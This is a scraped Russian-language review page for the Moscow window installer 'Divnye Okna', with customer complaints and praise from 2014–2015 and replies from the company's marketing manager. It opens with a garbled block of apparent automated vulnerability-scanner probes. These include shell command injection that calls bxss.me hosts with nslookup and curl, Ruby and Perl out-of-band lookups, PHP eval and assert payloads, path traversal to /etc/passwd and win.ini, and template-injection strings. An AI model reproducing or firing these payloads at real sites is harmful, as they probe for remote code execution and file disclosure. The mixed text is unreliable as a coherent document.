Дмитров
!(
!(()&&!|*|*|
"+
"+"A".concat(70-3).concat(22*4).concat(120).concat(73).concat(97).concat(69)+(require"socket"
Socket.gethostbyname("hitjf"+"gavqrzan56c7d.bxss.me.")[3].to_s)+"
"+"A".concat(70-3).concat(22*4).concat(121).concat(76).concat(104).concat(75)+(require"socket"
Socket.gethostbyname("hitfv"+"zdwntpww6b911.bxss.me.")[3].to_s)+"
"+response.write(9165175*9305228)+"
"+response.write(9316314*9304450)+"
".
".gethostbyname(lc("hitea"."pgdlyizp0fd66.bxss.me."))."A".chr(67).chr(hex("58")).chr(100).chr(85).chr(117).chr(76)."
".gethostbyname(lc("hitzi"."nhdexkozc55a3.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(80).chr(113).chr(77)."
";
";print(md5(31337));$a="
"D
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
$(
$(nslookup -q=cname hitatwonbkxvaaa2c2.bxss.me||curl hitatwonbkxvaaa2c2.bxss.me)
$(nslookup -q=cname hitclvkbspadp9ab0e.bxss.me||curl hitclvkbspadp9ab0e.bxss.me)
${
${9999439+9999037}
${9999962+10000477}
${@print(md5(31337))}
${@print(md5(31337))}\
&(
&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&'\"`0&(nslookup -q=cname hitdopgiwfrdw1170c.bxss.me||curl hitdopgiwfrdw1170c.bxss.me)&`'
&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&'\"`0&(nslookup -q=cname hitgopfwdklqy8cb1a.bxss.me||curl hitgopfwdklqy8cb1a.bxss.me)&`'
&E
&echo cdkgtq$()\ ljiwby\nz^xyu||a #' &echo cdkgtq$()\ ljiwby\nz^xyu||a #|" &echo cdkgtq$()\ ljiwby\nz^xyu||a #
&echo cwwgiz$()\ cdtgax\nz^xyu||a #' &echo cwwgiz$()\ cdtgax\nz^xyu||a #|" &echo cwwgiz$()\ cdtgax\nz^xyu||a #
&N
&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&'\"`0&nslookup -q=cname hitgosnpeurwffc6d3.bxss.me&`'
&nslookup -q=cname hithbwhenpuxie067e.bxss.me&'\"`0&nslookup -q=cname hithbwhenpuxie067e.bxss.me&`'
'"
'"
'"()
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'"()&%
'+
'+'A'.concat(70-3).concat(22*4).concat(106).concat(81).concat(110).concat(89)+(require'socket'
Socket.gethostbyname('hitvi'+'elyzparya3ad1.bxss.me.')[3].to_s)+'
'+'A'.concat(70-3).concat(22*4).concat(109).concat(90).concat(117).concat(82)+(require'socket'
Socket.gethostbyname('hitrp'+'vnudbpuz26ffe.bxss.me.')[3].to_s)+'
'+response.write(9165175*9305228)+'
'+response.write(9316314*9304450)+'
'.
'.gethostbyname(lc('hitdm'.'gnmcddnyf81f0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(79).chr(103).chr(90).'
'.gethostbyname(lc('hitqd'.'wthehqqn95388.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(77).chr(120).chr(71).'
'.print(md5(31337)).'
';
';print(md5(31337));$a='
(N
(nslookup -q=cname hithmxnvvymbv67fd4.bxss.me||curl hithmxnvvymbv67fd4.bxss.me))
(nslookup -q=cname hituapxqhqkbb85c1c.bxss.me||curl hituapxqhqkbb85c1c.bxss.me))
)
)
))
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
..
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
../Mr.
./
./Mr.
//
//xfs.bxss.me?pro-firmy.ru
/E
/etc/shells
/\
/\xfs.bxss.me?pro-firmy.ru
12
12345'"\'\");|]* {
< >
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'
1H
1HcZmC8cO
1R
1rF4zkSEO
1Y
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.
1}
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
90
904295
97
976859
;(
;(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)|(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)&(nslookup -q=cname hitjlosdfcfxwa61a6.bxss.me||curl hitjlosdfcfxwa61a6.bxss.me)
;(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)|(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)&(nslookup -q=cname hitovmqterxlgad5c7.bxss.me||curl hitovmqterxlgad5c7.bxss.me)
;A
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
Нина
04.09.2014
Замер 97373, договор от 01.09.2013 В сентябре 2013 установили окна, при установке перепутали подоконники (с балкона 15 см поставили на кухню, а с кухни 25 см поставили на балкон, причем их длина была разная не знаю как так умудрились). Когда делали откосы, мастер проколол одну панель и предлагал оставить это как есть, на самом видном месте, в итоге с ним пришлось доехать до Леруа и он за свой счет купил новую панель. В комнате сейчас окно закрывается, как будто что-то мешает (видимо плохо отрегулировали). Т. к. в квартире с того момента никто не проживал, не сразу заметили, что подоконники перепутаны, под него даже невозможно будет наклеить обои. 25 августа 2014 года позвонили и объяснили ситуацию, сказали в течение 10 дней приедет сервисный мастер и посмотрит. Обратились 03.09.2014, чтоб уточнить, когда все же приедет мастер, сказали, что кто-то на больничном и нам перезвонят, в итоге не дождались. Звоню сегодня (04.09.2014), отвечают, в ужасно грубой форме, что мастер приедет до 10 сентября (СРОКИ ВСЕ ИСТЕКЛИ). Тут же перезваниваю и спрашиваю, если вызвать замерщика (на остекление балкона), сможет ли он заодно посмотреть подоконники, опять в грубой форме получаю отказ. На вопрос, могут ли они переключить, чтоб вызвать замерщика, они произносят только номер телефона, я спрашиваю зачем вы мне говорите номер, на это они просто бросили трубку. Создается впечатление, что по тел. 8-495-940-84-84 работают одни невоспитанные дамы. Конечно, теперь никакого остекления балкона через эту фирму не будет. Замените нам просто подоконники и мы будем вспоминать Вас как страшный сон.
Елена Лапаева, менеджер по маркетингу ООО "Дивные окна"
12.09.2014
Уважаемая Нина! В ближайшее время компания "Дивные Окна" за свой счет поставит вам новые подоконники. Просим извинить за доставленные неудобства.
Павел
05.09.2014
Договор № 1210, делали трехметровую лоджию каждый день с 27-го по 30 августа. Поймали меня в торговом центре и вот чудо - правда нужно было вскоре остеклять балкон! Предварительно посчитали хорошо, назначил время замерщику. Замерщик считал много и долго, "стандартные только сейчас" 25 процентов скидки + сколько то от себя, как хорошему человеку, но получилось на 17 тысяч больше:) Когда сказал, что буду ждать другого замерщика, после пересчета цена упала на 10 %. У этой фирмы мне больше понравились панели и плинтусы, согласился, приехал в офис. Работают до 19 приехал где-то за час. Долго оформлялся 17 страниц разных бумаг осталось у меня на руках, раз 10 писал полное ФИО с росписью, когда все подписал менеджер говорит: замечательно, через 8 дней изготовят, к вам приедут 16, 17 и 18, 16 - привезут окна, 17 - остеклят и 18 - отделка, время назначим позже. Меня никто и не спросил! Причем привезти и остеклить в один день они не могут! И отделку при этом не довели. Напору этому я противопоставил свой отпуск и поездку за рубеж, и даты эти перенесли. но все равно 3 дня подряд и в будни! Первые умники должны были приехать в 11 не удосужились позвонить, хотя я предупреждал, что на квартире я не живу. Только спустя 20 минут звонков в домофон недовольные со мной связались. Управились за пол часа, но день рабочий потерян. Вторые господа приехали по врозь, был назначен часовой диапазон приезда, но собрались они еще на час позже)Смотрят на список работ. а тут не сказано, что у нас демонтаж, тут только демонтаж шкафа! Убедил я их, что был тут ВАШ замерщик и вот 4 листа, которые он исписал. Вынос мусора был дополнительный и попросили больше 1000! вдвоем - можно было бы вынести за 10 минут, чтоб я так зарабатывал!) А отделщик - просто кадр! работа началась на 1, 5 часа позже плана, поднял он отделку, а инструмент у него на Пражской!) и ездил он за ним больше 3-х часов! Должен был быть еще и лобзик, но он сломался (видимо по дороге)и пилил панели ножовкой. Вечером еще сгорело сверло и работу вообще остановили до уже 4-го подряд дня. С часовым опозданием опять собрались и вскоре выяснилось, что к плинтусу уголки внутренние положили! Мне было предложено съездить за ними в магазин, но после моего возмущения - пропали еще на 2 часа. Отметить конечно стоит, что выглядит все красиво, вроде ничего не отвалилось и рабочие вежливые, особенно когда говоришь об отзывах, но работающим людям крайне не советую - не ценят ваше время совершенно.
Уважаемый Павел! Спасибо, что вы отметили хорошую работу наших специалистов: "Выглядит все красиво, вроде ничего не отвалилось и рабочие вежливые". И тем более жаль, что впечатление о работе компании "Дивные окна" у вас осталось негативное. Вам кажется, что не берегут ваше время. Вы смотрели много передач о ремонте, где за час убитая хрущевка превращалась в роскошный дворец, и искренне возмущены, когда на деле выяснилось, что на остекление и обшивку балкона требуется 4 дня. Вы недовольны тем, что рабочие привезли вам конструкции, подняли их за полчаса, никаких других работ в этот день не делали, а вы свой рабочий день потеряли. Уважаемый Павел! Наша компания работает на рынке второе десятилетие, и этап "доставка и монтаж в один день" нами уже пройден. Звучит красиво, а на деле получается, что монтажники приехали, окна застряли в пробке. И это еще не худший вариант. Необходимость ставить подпись на каждом листе договора, это именно необходимость. Лучше долго прописывать в договоре каждую мелочь и ставить подпись на каждом листе, чем потом в суде выяснять, кто, что должен сделать. Павел, оцените работу нашей компании, учитывая не идеальные условия, а реальные. Машина может застрять в пробке, сверло может сломаться, технологически сложные работы по монтажу окон занимают какое-то время. Надеюсь, когда эмоции улягутся, вы останетесь довольны работой компании "Дивные окна" и еще будете рекомендовать нашу компанию своим знакомым. Елена Лапаева, менеджер по маркетингу ООО "Дивные окна"
Aleksandr Kulagin
22.09.2014
Заказал остекление балкона, ребята приехали точно в назначенный срок, сделали всё качественно. Единственное, что медленно, но этот минус можно и потерпеть.
Елена Лапаева, менеджер по маркетингу ООО "Дивные
23.09.2014
Уважаемый Александр! Мы рады, что вы довольны нашей работой. Спасибо, что нашли время и написали отзыв о компании.
Мария
07.10.2014
Заказать окна мы хотели давно. Немного затянули. И вот решили найти компанию, устанавливающая окна фирмы REHAU. Искали ближайшее к нашему метро Щелковская, им оказалась данная фирма "Дивные окна", к огромному сожалению ( ( ( Приехали к нам в субботу привезли окна. Все хорошо. Проходит воскресенье, (у них выходной), вот настал понедельник, день, когда должны приехать и установить сами окна. Мало того, что позвонили в сам день установки утром и мы не были толком готовы, быстро давай все убирать и отодвигать это пусть уже. Ребята вроде установили все нормально, дома оставался муж, а я с ребенком гуляла на улице. Пришла и сразу давай проверять окна, на кухне скрипит немного одна створка окна, я хотела на следующий день (сегодня) позвонить и уточнить, что это такое. Но настало сегодня! Пришел мужчина с парнем молодым! Я сразу уточнила у мужчины, что это такое, он сказал, типа, все новое, все разработается, но я всё равно буду звонить и уточнять естественно. Вообщем началась работа. И вскоре оказалось, что нам не доставили одну деревянную рейку на большое окно! Я сказала, что нужно звонить главному, говорить это все. А мастер мне типа, что не нужно они везти будут ооочень долго, будите ждать еще кучу времени. Да и мы работу потеряем, я говорю: "Вас снова к нам вызовут.", а он: "Ну нам до вас полтора часа ехать, мы живем далеко!" Я: "Честно говоря это не мои проблемы, мы заплатили не маленькие деньги за что???" Он говорит: "А у вас нет каких то дров или деревяшек дома???" Тут я конечно выпала. Спросила вообще где эти рейки видны или нет и для чего они. Он объяснил, но честно говоря я мало, что поняла. У нас стояли в углу комнаты деревянные плинтуса, новые, но купленные года два назад наверное, может меньше. Говорю: "есть плинтуса!", он: "О как здорово их можно использовать?", я говорю: "как так, кто так делает? Мы заплатили и еще наши материалы будем давать???" В итоге позвонили мужу он дал добро использовали ее. Плинтус даже лучше. Чем их рейки, его естественно не видно, мастер его хорошо обработал и обрезал где, что лишнее. Пошли на это. Шаг, лишь из-за времени, которого у нас минимум и еще полугодовалый ребенок! Не любительница оставлять отзывы, но этот случай меня потряс!
Елена Лапаева, менеджер по маркетингу ООО "Дивные
15.10.2014
Уважаемая Мария! Вы недовольны работой нашей компании, потому что: 1. В воскресенье в "Дивных окнах" выходной. Правительство Москвы выпустило постановление №883-ПП, в котором запрещается производить строительные работы в воскресные и праздничные дни. Ваши соседи, Мария, хотят в воскресенье отдыхать в тишине, а не слушать, как вам устанавливают окна. Только поэтому мы не монтируем окна в воскресенье в многоквартирных жилых домах. В коттеджах, где шум не будет никому мешать, установка окон в выходные возможна. 2. В день установки окон вам позвонили и сообщили, что едут монтажники, вы не были к этому готовы. Дата монтажа согласовывался с вами заранее и прописывается в договоре. Непонятно, почему она стала для вас сюрпризом. 3. Окно скрипит при закрытии. Позвоните по телефону: 8-495-940-84-84, приедет сервисный мастер и отрегулирует силу прижима. 3. Мастера использовали ваш плинтус при установке откосов. Чтобы компенсировать вам материальные потери, наша компания предлагает вам набор по уходу за окнами. Стоимость набора 500 руб., не меньше, чем стоит плинтус. Напишите письмо на reklama@divnie.ru, мы пришлем вам домой набор с курьером. Надеемся, что вскоре вы будете уверены, что заказали остекление в "Дивных окнах" не к огромному сожалению, как вы пишете сейчас, а к счастью.
Алла
12.10.2014
Хотели застеклить балкон. Обратились в компанию "Дивные окна". Остались очень довольны предоставленными материалами. Изначально возникли вопросы при установке с работниками, но после общения с менеджером компании все разногласия были устранены. В общем теперь есть компания, которую можем рекомендовать своим друзьям.
Елена Лапаева, менеджер по маркетингу
15.10.2014
Уважаемая Алла! Нам приятно, что вы остались довольны нашей работой. Спасибо за рекомендации.
Николай
22.10.2014
Заказал пластиковые окна в компании "Дивные окна". Заказ № 108774. Замерщик, несмотря на наши настойчивые просьбы, не указал о том, что уплотнители должны быть белые. Вместо белых поставили чёрные. Стёкла поставили с зелёным напылением, а мы просили осветлённые белые. Пластик должен быть rehay-делайт, то есть отличного качества, а он оказался не качественным, с неоднородными полосками и бороздками. Больше месяца просим устранить недостатки и заменить брак. Сотрудники этой компании делают всё, чтобы ничего не исправлять. Мы пишем наши претензии, обращаемся в письменном виде к директору ЗАО "Софос" (директор " Дивных окон" и ЗАО "Софос " один и тот же - Чупахин И. Ю.), но нам ничего не исправляют, присылают бригады каких-то сотрудников, которые соглашаются, что все описанные нами претензии правильные, но начальство ложится пластом, чтобы ничего не исправлять. Сегодня нам предложили заменить наши стёкла в другой компании, а за белые уплотнители с нас просят вместо прежних 4, 5 тысяч, которые озвучивали две недели назад 14 тысяч. Эта жуткая компания недобросовестных и не порядочных людей, которая трепет нервы и устанавливает брак от которого потом невозможно избавиться. Теперь нам предложили самим искать стёкла, а оплачивать их будет эта компания, только, если эти стёкла устроят их по стоимости и ставят нас в определённые рамки. Иначе эти стёкла нам придётся менять за наши деньги. Почему мы, а не они должны сами менять установленные ими затемнённые окна на нормальные белые, если замерщик нас уверял, что стёкла будут осветлённые белые?! Пластик поставили некачественный, стёкла с зелёным напылением вместо белых, уплотнители чёрные, вместо белых и считают, что виноват не замерщик, который не правильно оформил заказ, а мы. На окнах образуется конденсат, в виде капель воды, которые потом стекают на подоконник и оставляют на рамах чёрные следы от чёрного уплотнителя. Не заказывайте в этой компании окна, если не хотите истрепать себе все нервы и получить некачественную продукцию. Отдел контроля пластом ложится, чтобы ничего не исправлять. После общения с этой компанией чувство, что нас кинули. Обращаюсь к Генеральному директору: Игорь Юрьевич, если у Вас есть хоть капля совести и чувство ответственности, исправьте свой брак!
Елена Лапаева, менеджер по маркетингу
23.10.2014
Уважаемые Николай и Любовь. Каждый день более часа вы беседуете с нашим юристом Артемом Артамоновым, тем не менее по некоторым вопросам пока не найдено решение. 1. Прозрачность стекол. Компания "Дивные окна" поставила на ваши оконные конструкции стекла марки М1 компании AGC. Это всемирно известная надежная компания. Вам кажется, что окна недостаточно прозрачные, так как вам поставили энергосберегающие стекла с напылением. Сервисный мастер приезжал к вам, мерил прозрачность окна - она оказалась в норме. Это вас не убедило. Тогда на заводе бесплатно мы изготовили для вас новый стеклопакет из обычных, не энергосберегающих стекол. Вы посмотрели на него, убедились, что он такой же, как и тот, что у вас стоит, и даже не разрешили поменять. И продолжили предъявлять претензии. Мы готовы вернуть вам деньги за стеклопакеты - это 15000 руб. Можете заказать стеклопакеты там, где вам нравится, мы заплатим. Вы обзвонили 12 ведущих оконных компаний Москвы. Все вам сказали, что стеклопакета лучше, чем в "Дивных окнах", они вам не сделают. Теперь вы требуете, чтобы мы за свой счет поставили вам не стекло марки М1, с которым мы работаем обычно, а стекло марки М0. У обычного стекла прозрачность 88%, у этого 92%. Прозрачность больше только на 4%, а стоит такое стекло в несколько раз дороже, поэтому мы с ним не работаем. Вы требуете, чтобы мы все расходы взяли на себя. Мы же утверждаем, что разницу между обычными стеклами и стеклами марки М0 должны оплачивать вы. Надеемся, вы поймете, что наши требования законны. 2. Вы заказали черные уплотнители, это написано в вашем договоре. Белые уплотнители не прописаны в договоре, потому что вы за них не платили. Вам привезли то, что вы заказали. Уплотнитель химически инертен, не взаимодействует ни с воздухом, ни с водой. Если вода течет по уплотнителю и окрашивается, значит, нужно помыть окна. 3. Вам кажется, что пластик на рамах ненадлежащего качества. Претензия, подкрепленная фотографией, отправлена в Рехау. Мы ждем ответа. 4. Слова - "Эта жуткая компания недобросовестных и не порядочных людей, которая трепет нервы и устанавливает брак от которого потом невозможно избавиться" - являются оскорблением и клеветой в адрес добросовестной компании.
Есть люди с отрицательной аурой, здесь уже ничего не поделать. До самого гроба будут у Вас косяки во всем. Куда бы Вы не обратились и т. д. везде будет ужасно и по нервному. Пересмотрите взгляды на жизнь.
Оксана
23.10.2014
Заказали окна мы в этой компании, все отлично, все в срок. Измерили, изготовили, установили. Соседям порекомендовали, сегодня установили им. Очень довольны остались, монтажники даже мусор вывезли.
Елена Лапаева, менеджер по маркетингу ООО "Дивные окна"
29.10.2014
Оксана! Спасибо, что нашли время и написали отзыв. Мы рады, что вы довольны нашей работой.
Павел Скворцов
03.11.2014
Жена второй год пилит «Остекли балкон, остекли балкон». Уговорила, два месяца назад, возложил эту задачу на плечи профессионалов из компании «Дивные окна». Поначалу не мог до них дозвониться, а дозвонившись вопрос решили быстро. После окончания работы, жена устроила мне сюрприз – благодарность. Дала провести выходные дни по моему усмотрению. Благодарю «Дивные окна», ещё и за рыбалку.
Елена Лапаева, менеджер по маркетингу ООО "Дивные
05.11.2014
Павел, благодарим за хорошие слова в адрес компании "Дивные окна". Рады, что вам понравилась наша работа. Надеемся, что когда вы закажете еще и обшивку балкона, ваша жена снова даст вам провести выходные по вашему усмотрению, и поймаете много рыбы.
Софья
06.11.2014
В октябре делали два окна, номер договора 109733. В целом работой компании почти довольны: доставку и работы производили в срок (опоздания в пределах часа для Москвы все-таки мелочь), все сотрудники вежливы; окна сморятся приятно. Но: 1. После окончания работ обнаружили, что одна из ручек сильно исцарапана, о чем написали в акте за второй день монтажа и в сервисную службу с приложением фотографии. Размер царапин таков, что я с зрением порядка -6 для каждого глаза заметила их при беглом взгляде, будучи без очков. Прошла почти неделя (в договоре указано, что замена единичных дефектов происходит в течение 7 дней), однако менять пока никто ничего не собирается. 2. На одну створку одного окна заказывали гребенку. В итоге то ли замерщик ошибся (условных обозначений гребенки в договоре нет, поэтому проверить это было никак нельзя, только верить на слово), то ли монтажники в первый день, но гребенку изначально установили для другой створки. Монтажники во второй день планку переставили на другую ручку, но в итоге гребенка стоит криво и, чтобы ей воспользоваться, надо применять значительную силу и выгибать планку дугой. Исправить это уже нельзя, так как под нее в раме просверлена дырка. 3. Замерщик Новиков Александр показал себя крайне неквалифицированным работником. Одно из окон меняли в кухне, где полгода назад делали ремонт, полностью поменяв всю мебель. Кухня маленькая, поэтому мебель стык в стык. Естественно мы объяснили ему, что для нас очень важно, чтобы подоконники были не шире, чем сейчас, он уверенно заявил, что это не проблема. Мы, так как в таких делах неопытны, уточнили, надо ли нам будет монтажникам что-то доплачивать за подрезание подоконников, контролировать и т. д. Он не менее уверенно ответил, что нет, ничего этого делать не нужно, что все в договоре, вся оплата заранее. Мы простодушно расслабились. Однако, после монтажа оказалось, что подоконники на 2 см шире, чем были, и мебель теперь не влезает. Монтажники сказали, что надо было им об этом сказать, а не замерщику (но мы-то об этом не знали, хотя пытались выяснить у того же замерщика!). Понятно, что этим инцидентом нивелируется вся прелесть новых пластиковых окон. Помимо описанной выше некомпетентности, замерщик Новиков Александр проявил неприятную невежливость, написав код нашей двери в подъезд (у нас нет домофона) на самом видном месте рядом с оной. 4. Общаться с сервисной службой по почте откровенно противно. Нет, менеджер не хамит, но так коверкает русский язык, что у каждого культурного русского человека это вызывает отвращение. В целом компания, может быть и неплохая, но работают очень невнимательно, КАЖДЫЙ ШАГ замерщика и монтажников надо ЛИЧНО КОНТРОЛИРОВАТЬ, поэтому советовать ее можно разве, что опытным в ремонтах людям.
Елена Лапаева, менеджер по маркетингу ООО "Дивные окна"
17.11.2014
Софья, спасибо, что нашли время и оставили отзыв о работе нашей компании, отметили положительные стороны "все сотрудники вежливы; окна сморятся приятно". Жаль, что мелкие недоразумения портят впечатления о нашей работе. 1. Вам привезли поцарапанную ручку, компания "Дивные окна" поменяла её за свой счет. 2. Условные обозначения гребенок в договоре есть. Рядом с чертежом окна указывается ширина подоконника и отлива, наличие гребенки. Напротив чертежа одного окна написано "внешняя гребенка" - вам ее привезли и установили. Напротив другого окна такой фразы нет. Значит, гребенку вы не заказали. 3. Замерщик Новиков код от вашей двери нигде не писал. Видимо, это сделал кто-то другой. Новиков - уравновешенный интеллигентный человек, он не расписывает стены домов. По поводу подоконников вы с замерщиком не поняли друг друга. За то, что монтажники подрежут подоконник, платить ничего не нужно. Но сказать им об этом нужно. При заключении договора менеджер не может с точностью до миллиметра рассчитать ширину подоконника. 4. Менеджеры сервисной службы разговаривают с клиентами вежливо и корректно, используя только литературные формы слов. Мы сожалеем, что у вас осталось негативное впечатление о работе нашей компании. Надеемся, в будущем оно изменится в лучшую сторону.
Дормидонт Амфибрахьевич
18.11.2014
Прежде, чем обвинять кого-то в коверканье русского языка, сами бы научились писать без ошибок.
Юлия
13.11.2014
Поставила в июле месяце окно intelio договор 106405, наступили холода, стало из окна дуть, а когда температура на улице еще немного опустилась появился свист, невозможно заснуть, Заявку в сервис подала 23 октября, по истечении 10 рабочих дней никто не пришел и не перезвонил, на мои многочисленные звонки, отвечали, что мастер когда-то будет, и только после моих слов о жалобе в Роспотребнадзор - на 12 день прислали мастера, у которого не оказалось с собой материала для исправления дефекта, обещал, что исправят быстро! Прошло еще 4 дня, никто не звонит и исправлять, как я понимаю ничего не собираются. Очень не довольна работой сервисной службы и качеством окон!
Елена Лапаева, менеджер по маркетингу
09.12.2014
Уважаемая Юлия! К вам приехал мастер сервисного обслуживания, у которого с собой не оказалось силикона. Поэтому вам не сразу исправили недостаток, а спустя несколько дней. В качестве моральной компенсации примите от нашей компании набор по уходу за окнами. Его вам доставит курьер.
Олеся Ховратенко
15.11.2014
Мы заказывали окна на балкон. Монтаж окон выполнили быстро и качественно. Большим плюсом компании является кредит, потому, как денег после ремонта практически не осталось. Кредит оформили очень быстро без волокиты. Спасибо.
Елена Лапаева, менеджер по маркетингу ООО "Дивные
11.12.2014
Олеся! Спасибо за хороший отзыв. Кредит в компании "Дивные окна" выдается на срок до 3 лет, беспроцентная рассрочка - до полугода. Ждем вас снова в нашей компании.
Мария Виноградова
24.11.2014
Мы также остекляли лоджию. Отличный материал, качественный. И сделано отлично. Теперь смотрю не нарадуюсь. Раньше открытый балкон был, а теперь закрыт и ни капли не дует. Утеплились к зиме. По ценам вполне адекватно, тем более за тот результат, который мы получили.
Уважаемая Мария! Спасибо за хорошие слова в адрес нашей компании. После остекления балкона вполне логично сделать его обшивку. Так, что ждем вас снова.
Наталья Гришина
29.11.2014
По совету родителей обратилась в компанию Дивные Окна для установки окон в спальне моей квартиры. Мне очень понравился настрой монтажников и вежливое обращение со стороны менеджера. Срок изготовления тоже порадовал - всего одна рабочая неделя. Для нашей страны - это не срок. Буду советовать своим друзьям.
Уважаемая Наталья! Спасибо, что нашли время и написали несколько слов о нашей компании. Спасибо за рекомендации. Ждем вас снова. Елена Лапаева, менеджер по маркетингу ООО"Дивные".
Лидия
16.12.2014
Очень хотелось современные деревянные окна, но стоимость не позволяет такую роскошь, а все равно хочется! Ну, чтобы хотя бы внешне выглядели, как деревянные. Каково было мое удивление, что оказывается прогресс не стоит на месте и нашла такую услугу, как ламинация профиля в компании Дивные окна. Супер просто! Окна обычные пластиковые, но выглядят дорого, под дерево! Там и заказывала, счастлива, как слон, никак не нарадуюсь уже второй месяц.
Елена Лапаева, менеджер по маркетингу ООО "Дивные окна"
17.12.2014
Лидия! Мы рады, что вы довольны нашей работой. В нашей компании более 20 цветов ламинации. Можно сделать окно не только под цвет дерева, но и синим, и зеленым, и разноцветным.
Olegka Scorenko
19.12.2014
Вот месяца полтора назад менял дома окна, так как прошлая компания установила очень плохо, и задувало с окон, а с приходом холодов все тепло улетало на улицу! Вот сейчас поставили в этой компании, пока, что всё отлично, спустя время посмотрим!
Елена Лапаева, менеджер по маркетингу и PR ООО "Д
23.12.2014
Уважаемый Olegka! Спасибо, что нашли время и написали отзыв о нашей компании. Наши окна будут служить вам долго. Гарантия на все конструкции - 5 лет.
Мария
21.12.2014
Добрый вечер. Давно уже хотела написать благодарность сервисному отделу Дивных окон. За вежливое общение с клиентом и помощь. Надежда мне очень помогла в моем вопросе, у меня не закрывалось окно, она помогла мне закрыть его и дала рекомендации как ухаживать за окнами. Спасибо за таких сотрудников, побольше бы таких. Мой номер договора 110008.
Елена Лапаева, менеджер по маркетингу и PR ООО "Д
23.12.2014
Мария, нам приятно, что вы довольны работой наших сотрудников. Случается, что клиенты одновременно и открывают, и откидывают окно. Створка виснет на одной петле, закрыть ее самостоятельно сложно. Мастер сервисного обслуживания Надежда Казаченко работает в нашей компании около 10 лет. За это время она помогла клиентам закрыть сотни окон. Если у вас еще возникнут вопросы по поводу работы окон, вы всегда можете обратиться в нашу сервисную службу.
Лесив Иван
22.12.2014
В компании "Дивные Окна" решил заказать себе окна на загородный дом. Принес к ним в офис размеры, выбрали материал и сказали, что позвонят, когда сделают. Через 6 дней позвонили и сказали, что окна готовы. Установку сделали бесплатно, что крайне порадовало. И цена нормальная вышла. Я остался доволен сотрудничеством с компанией.
Елена Лапаева, менеджер по маркетингу ООО "Дивные окна"
24.12.2014
Иван, спасибо за хорошие слова в адрес нашей компании. Будем рады дальнейшему сотрудничеству.
Павел
05.01.2015
Все, в целом, не плохо, но немного портят впечатление огрехи установки. Я не спец по установки, но мелочам уделяют внимание, которые, к тому же, на виду всегда, приложу не только фото, чтобы быть не голословным.
Павел, добрый день. Судя по фото, Н-образная накладка на подоконник обрезана коротко. Позвоните в сервисную службу по телефону: 8-968-596-13-58 или 8-495-940-84-84. Вам бесплатно поменяют накладку, зазора между подоконником и эркерным соединением окна не будет. В качестве компенсации за неудобства просим принять от нашей компании набор по уходу за окнами. Напишите письмо на почту: reklama@divnie.ru, укажите, куда вам доставить набор. Елена Лапаева, менеджер по маркетингу ООО "Дивные окна".
Сергей Аракчеев
21.01.2015
Заказывали застекление балкона и полностью комплект дизайнерской отделки. Получилось, конечно, недешево, но сделали качественно и использовали хорошие материалы. Смотрится нестандартно и дорого.
Ольга
23.01.2015
Заказать у фирмы "Дивные окна" - пожалуйста, денежки в карман опустить. А как отвечать, так их нет, сервизная служба не работает. Концов найти невозможно. Разве это серьезная компания, которая не хочет отвечать за свою работу. Шарашкина контора. БЕГИТЕ от нее ПОДАЛЬШЕ. А если кому повезло - радуйтесь.
Елена Лапаева, менеджер по маркетингу и PR ООО "Д
16.02.2015
Уважаемая Ольга! Наш центральный офис переехал Ленинградского проспекта на Шоссе Энтузиастов. Телефоны пока не работают. На нашем сайте в разделе "гарантии" вывешены номера сотовых телефонов, по которым можно вызвать мастера сервисного обслуживания. Позвоните 8-968-596-13-58 или 8-968-596-13-35. Компания "Дивные окна" всегда выполняет обязательства перед своими клиентами.
Фёдор
26.01.2015
Всем добрый день! Хотим поблагодарить компанию "ДИВНЫК ОКНА" и монтажников за проделанную работу. Заказывали у вас окна. Доставку произвели в срок и бесплатно, установили всё качественно. Советуем вас знакомым.
Игорь Петров
05.02.2015
Мне нужно было купить новые окна перед зимой и я их заказал в компании "Дивные Окна". Мне помогли подобрать подходящий для меня вариант из пвх. И могу сказать, что всё изготовили в течении 12 дней. Окна оказались хорошего качества и по цене нормально вышло. Я остался доволен сотрудничеством.
Nata
12.02.2015
89685961335 или 58. Временные телефоны сервисной службы.
Дмитрий
16.02.2015
Спасибо большое компании Дивные Окна за пластиковые окна и входную дверь с порталом. Все сделано качественно. Отдельное спасибо менеджерам и монтажникам, которые устанавливали портал. Все нравится. В нашей квартире тепло и звуков ни с улицы, и с лестницы не слышно. Не помню имен замерщиков, но все четко, даже чуть с запасом (на портал). Спасибо ребятам! Молодцы!
Владимир
01.03.2015
Хочу выразить благодарность за высокий профессионализм, хорошо выполненную работу и тактичное внимательное отношение к клиенту сотрудникам комнании "Дивные окна": замерщику Прилипухову Дмитрию, монтажникам Сергею и его напарнику, мастеру по откосам Алексею. Все работы сделаны быстро и качественно, установленные профили Rehau фирмой производителем также сделаны очень хорошо.
Олег
01.03.2015
У меня дома были деревянные окна и решил их сменить, и вместо них поставить новые пластиковые окна из пвх, и заказал их в компании "Дивные Окна". И когда получил заказ, увидел, что всё сделали настоящие профессионалы в своем деле. Всё сделано по современным стандартам. Я остался доволен.
